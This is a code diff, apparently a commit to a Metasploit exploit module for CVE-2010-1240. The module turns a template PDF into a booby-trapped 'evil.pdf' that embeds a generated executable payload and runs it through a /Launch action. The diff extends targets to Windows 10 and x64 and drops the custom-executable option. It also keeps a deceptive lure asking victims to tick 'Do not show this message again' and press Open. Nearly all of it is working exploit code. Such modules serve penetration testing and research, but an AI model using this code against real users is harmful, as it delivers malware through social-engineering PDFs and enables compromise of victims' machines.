@@ -21,7 +21,7 @@ def initialize(info = {})
21
21
'Author' =>
22
22
[
23
23
'Colin Ames <amesc[at]attackresearch.com>' , # initial module
24
- 'jduck' # add Documents for vista/win7
24
+ 'jduck' # add Documents for vista/win7/win10
25
25
] ,
26
26
'References' =>
27
27
[
@@ -35,21 +35,20 @@ def initialize(info = {})
35
35
'DisclosureDate' => '2010-03-29' ,
36
36
'Payload' =>
37
37
{
38
- 'Space' => 2048 ,
39
- 'DisableNops' => true ,
40
- 'StackAdjustment' => -3500 ,
38
+ 'Space' => 4096 ,
39
+ 'DisableNops' => true
41
40
} ,
41
+ 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
42
42
'Platform' => 'win' ,
43
43
'Targets' =>
44
44
[
45
- [ 'Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English)' , { 'Ret' => '' } ]
45
+ [ 'Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7/10 (English)' , { 'Ret' => '' } ]
46
46
] ,
47
47
'DefaultTarget' => 0 ) )
48
48
49
49
register_options (
50
50
[
51
51
OptPath . new ( 'INFILENAME' , [ true , 'The Input PDF filename.' , ::File . join ( Msf ::Config . data_directory , 'exploits' , 'CVE-2010-1240' , 'template.pdf' ) ] ) ,
52
- OptString . new ( 'EXENAME' , [ false , 'The Name of payload exe.' ] ) ,
53
52
OptString . new ( 'FILENAME' , [ false , 'The output filename.' , 'evil.pdf' ] ) ,
54
53
OptString . new ( 'LAUNCH_MESSAGE' , [ false , 'The message to display in the File: area' ,
55
54
"To view the encrypted content please tick the \" Do not show this message again\" box and press Open." ] ) ,
@@ -59,7 +58,6 @@ def initialize(info = {})
59
58
def exploit
60
59
61
60
file_name = datastore [ 'INFILENAME' ]
62
- exe_name = datastore [ 'EXENAME' ]
63
61
64
62
print_status ( "Reading in '#{ file_name } '..." )
65
63
stream = read_pdf ( )
@@ -78,7 +76,6 @@ def exploit
78
76
:stream => stream ,
79
77
:trailers => trailers ,
80
78
:file_name => file_name ,
81
- :exe_name => exe_name ,
82
79
:startxref => startxrefs . last
83
80
} )
84
81
@@ -103,24 +100,14 @@ def exploit
103
100
end
104
101
105
102
106
- def ef_payload ( pdf_name , payload_exe , obj_num )
103
+ def ef_payload ( pdf_name , obj_num )
107
104
108
- if !( payload_exe and payload_exe . length > 0 )
109
- print_status ( "Using '#{ datastore [ 'PAYLOAD' ] } ' as payload..." )
105
+ print_status ( "Using '#{ datastore [ 'PAYLOAD' ] } ' as payload..." )
110
106
111
- payload_exe = generate_payload_exe
112
- file_size = payload_exe . length
113
- stream = Rex ::Text . zlib_deflate ( payload_exe )
114
- md5 = Rex ::Text . md5 ( stream )
115
-
116
- else
117
- print_status ( "Using '#{ datastore [ 'EXENAME' ] } ' as payload..." )
118
-
119
- file_size = File . size ( payload_exe )
120
- stream = Rex ::Text . zlib_deflate ( File . binread ( payload_exe ) )
121
- md5 = Rex ::Text . md5 ( File . binread ( payload_exe ) )
122
-
123
- end
107
+ payload_exe = generate_payload_exe
108
+ file_size = payload_exe . length
109
+ stream = Rex ::Text . zlib_deflate ( payload_exe )
110
+ md5 = Rex ::Text . md5 ( stream )
124
111
125
112
output = String . new ( )
126
113
@@ -180,7 +167,6 @@ def basic_social_engineering_exploit(opts = {})
180
167
stream = opts [ :stream ]
181
168
trailers = opts [ :trailers ]
182
169
file_name = opts [ :file_name ]
183
- exe_name = opts [ :exe_name ]
184
170
startxref = opts [ :startxref ]
185
171
186
172
file_name = file_name . split ( /\/ / ) . pop . to_s
@@ -288,7 +274,7 @@ def basic_social_engineering_exploit(opts = {})
288
274
if new_embedded_files
289
275
pdf_payload = String . new ( )
290
276
num = trailers [ 0 ] . fetch ( "Size" ) . to_i - 1
291
- pdf_payload << ef_payload ( pdf_name , exe_name , num )
277
+ pdf_payload << ef_payload ( pdf_name , num )
292
278
pdf_payload << js_payload ( pdf_name , num )
293
279
new_pdf << stream << pdf_payload
294
280
@@ -323,7 +309,7 @@ def basic_social_engineering_exploit(opts = {})
323
309
pdf_payload = String . new ( )
324
310
num = trailers [ 0 ] . fetch ( "Size" ) . to_i
325
311
pdf_payload << "#{ num } 0 obj\r <</Names[(\xfe \xff #{ Rex ::Text . to_unicode ( pdf_name , "utf-16be" ) } )#{ num + 1 } 0 R]>>\r endobj\r "
326
- pdf_payload << ef_payload ( pdf_name , exe_name , num )
312
+ pdf_payload << ef_payload ( pdf_name , num )
327
313
pdf_payload << js_payload ( pdf_name , num )
328
314
new_pdf << stream << pdf_payload
329
315
@@ -360,7 +346,7 @@ def basic_social_engineering_exploit(opts = {})
360
346
num = trailers [ 0 ] . fetch ( "Size" ) . to_i + 1
361
347
pdf_payload << "#{ trailers [ 0 ] . fetch ( "Size" ) } 0 obj\r <</EmbeddedFiles #{ num } 0 R>>\r endobj\r "
362
348
pdf_payload << "#{ num } 0 obj\r <</Names[(#{ pdf_name } )#{ num + 1 } 0 R]>>\r endobj\r "
363
- pdf_payload << ef_payload ( pdf_name , exe_name , num )
349
+ pdf_payload << ef_payload ( pdf_name , num )
364
350
pdf_payload << js_payload ( pdf_name , num )
365
351
new_pdf << stream << pdf_payload
366
352
xrefs = xref_create ( new_pdf , stream . length , "*" )
0 commit comments